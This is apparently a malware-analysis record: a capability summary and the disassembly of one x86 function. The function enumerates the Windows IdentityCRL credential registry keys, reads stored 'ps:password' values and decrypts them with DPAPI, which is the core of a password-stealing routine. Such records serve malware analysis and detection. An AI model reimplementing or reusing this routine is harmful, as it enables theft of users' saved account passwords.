Function at 0x4013e0
Capabilities:
Encrypt data using dpapi
Query or enumerate registry key
Query or enumerate registry value
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x425a98
push eax
mov eax, 0x196c
mov dword fs:[0], esp
call fcn.0040ca50
push ebx
push ebp
push esi
mov esi, ecx
push edi
xor ebx, ebx
mov ecx, 0x3ff
xor eax, eax
lea edi, [esp + 0x97d]
mov byte [esp + 0x97c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x57d]
mov byte [esp + 0x57c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x78]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x30]
mov dword [esp + 0x2c], ebx
push eax
push 0x20019
push ebx
push str.SoftwareMicrosoftIdentityCRLDynamic_Salt
push SysReAllocStringLen
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x48], ebx
call ebp
test eax, eax
jne 0x401837
mov eax, dword [esp + 0x30]
lea ecx, [esp + 0x2c]
lea edx, [esp + 0x97c]
push ecx
push edx
push ebx
push ebx
push str.Value
push eax
mov dword [esp + 0x44], 0x1000
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, ebx
jne 0x4018a3
push str._GKP__LL___OTR__GV6_lxzd
lea ecx, [esp + 0x14]
call fcn.0041a91d
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x1984], ebx
push ecx
mov ecx, esi
call fcn.00401100
mov esi, eax
mov eax, dword [0x4315c8]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x2c]
lea ecx, [esp + 0x20]
lea edx, [esp + 0x97c]
push ecx
mov dword [esp + 0x58], edx
push 1
push ebx
lea edx, [esp + 0x50]
mov dword [esp + 0x5c], eax
push ebx
push edx
lea eax, [esp + 0x64]
push ebx
push eax
mov dword [esp + 0x64], esi
mov dword [esp + 0x60], 0x40
mov dword [esp + 0x40], ebx
mov dword [esp + 0x3c], ebx
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
cmp eax, ebx
jne 0x401528
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x40186e
mov ecx, dword [esp + 0x20]
xor eax, eax
lea edi, [esp + 0x17d]
mov byte [esp + 0x17c], bl
lea edx, [ecx + 0x40]
mov ecx, 0xff
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x10
lea edi, [esp + 0x17c]
rep movsd dword es:[edi], dword [esi]
mov esi, dword [esp + 0x24]
mov ecx, edx
lea edi, [esp + 0x1bc]
lea eax, [esp + 0x4c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
push 0xf003f
and ecx, 3
push ebx
push str.SoftwareMicrosoftIdentityCRLCreds
rep movsb byte es:[edi], byte [esi]
push SysReAllocStringLen
mov dword [esp + 0x78], edx
call ebp
test eax, eax
jne 0x40186e
mov ecx, dword [0x4315c8]
mov dword [esp + 0x1c], ecx
lea edx, [esp + 0x68]
lea eax, [esp + 0x34]
push edx
mov edx, dword [esp + 0x50]
push ebx
push ebx
push ebx
lea ecx, [esp + 0x88]
push eax
push ecx
push ebx
push edx
mov byte [esp + 0x19a4], 3
mov dword [esp + 0x54], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
cmp eax, 0x103
je 0x4017f1
mov ebp, 0x427580
lea eax, [esp + 0x78]
lea ecx, [esp + 0x1c]
push eax
push str.SoftwareMicrosoftIdentityCRLCreds_s
push ecx
call fcn.00419def
mov eax, dword [esp + 0x28]
add esp, 0xc
lea edx, [esp + 0x30]
push edx
push 0x20019
push ebx
push eax
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x40185d
mov eax, dword [esp + 0x30]
lea ecx, [esp + 0x28]
lea edx, [esp + 0x57c]
push ecx
push edx
push ebx
push ebx
push str.ps:password
push eax
mov dword [esp + 0x40], 0x400
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, ebx
jne 0x40185d
mov edx, dword [esp + 0x64]
lea ecx, [esp + 0x17c]
mov dword [esp + 0x44], edx
lea edx, [esp + 0x20]
lea eax, [esp + 0x57c]
mov dword [esp + 0x48], ecx
mov ecx, dword [esp + 0x28]
push edx
mov dword [esp + 0x58], eax
push 1
push ebx
lea eax, [esp + 0x50]
mov dword [esp + 0x5c], ecx
push ebx
push eax
lea ecx, [esp + 0x64]
push ebx
push ecx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x3c], ebx
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
cmp eax, ebx
je 0x401857
mov eax, dword [0x4315c8]
mov dword [esp + 0x60], eax
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x38], ebp
lea edx, [esp + 0x78]
lea eax, [esp + 0x3c]
push edx
push 0x4310d4
push eax
mov byte [esp + 0x1990], 7
call fcn.00419def
mov eax, dword [esp + 0x2c]
add esp, 0xc
cmp eax, ebx
je 0x40176c
mov ecx, dword [esp + 0x24]
lea edx, [esp + 0x40]
push ecx
push 0x4310d8
push edx
call fcn.00419def
mov eax, dword [esp + 0x1998]
push 0x14
mov esi, dword [eax + 4]
mov edi, dword [esi + 4]
call fcn.0041a634
add esp, 0x10
cmp esi, ebx
mov ecx, esi
jne 0x401712
mov ecx, eax
mov dword [eax], ecx
cmp edi, ebx
mov ecx, edi
jne 0x40171c
mov ecx, eax
mov dword [eax + 4], ecx
mov dword [esi + 4], eax
mov ecx, dword [eax + 4]
lea esi, [eax + 8]
mov dword [esp + 0x74], esi
mov dword [esp + 0x70], esi
mov dword [ecx], eax
cmp esi, ebx
mov byte [esp + 0x1984], 8
je 0x401762
lea ecx, [esp + 0x3c]
push ecx
lea ecx, [esi + 4]
call fcn.0041a668
lea edx, [esp + 0x40]
lea ecx, [esi + 8]
push edx
mov byte [esp + 0x1988], 9
call fcn.0041a668
mov dword [esi], ebp
mov eax, dword [esp + 0x198c]
inc dword [eax + 8]
mov dword [esp + 0x38], ebp
lea ecx, [esp + 0x40]
mov byte [esp + 0x1984], 0xa
call fcn.0041a8f3
lea ecx, [esp + 0x3c]
mov byte [esp + 0x1984], 6
call fcn.0041a8f3
lea ecx, [esp + 0x5c]
mov byte [esp + 0x1984], 5
call fcn.0041a8f3
lea ecx, [esp + 0x58]
mov byte [esp + 0x1984], 4
call fcn.0041a8f3
lea ecx, [esp + 0x60]
mov byte [esp + 0x1984], 3
call fcn.0041a8f3
lea eax, [esp + 0x68]
lea ecx, [esp + 0x34]
push eax
mov eax, dword [esp + 0x50]
push ebx
push ebx
push ebx
lea edx, [esp + 0x88]
push ecx
push edx
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
cmp eax, 0x103
jne 0x4015de
lea ecx, [esp + 0x1c]
mov byte [esp + 0x1984], 2
call fcn.0041a8f3
lea ecx, [esp + 0x14]
mov byte [esp + 0x1984], 1
call fcn.0041a8f3
lea ecx, [esp + 0x18]
mov byte [esp + 0x1984], bl
call fcn.0041a8f3
lea ecx, [esp + 0x10]
mov dword [esp + 0x1984], 0xffffffff
call fcn.0041a8f3
mov eax, 1
mov ecx, dword [esp + 0x197c]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1978
ret 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [esp + 0x1c]
mov byte [esp + 0x1984], 2
call fcn.0041a8f3
lea ecx, [esp + 0x14]
mov byte [esp + 0x1984], 1
call fcn.0041a8f3
lea ecx, [esp + 0x18]
mov byte [esp + 0x1984], bl
call fcn.0041a8f3
lea ecx, [esp + 0x10]
mov dword [esp + 0x1984], 0xffffffff
call fcn.0041a8f3
xor eax, eax
jmp 0x40183c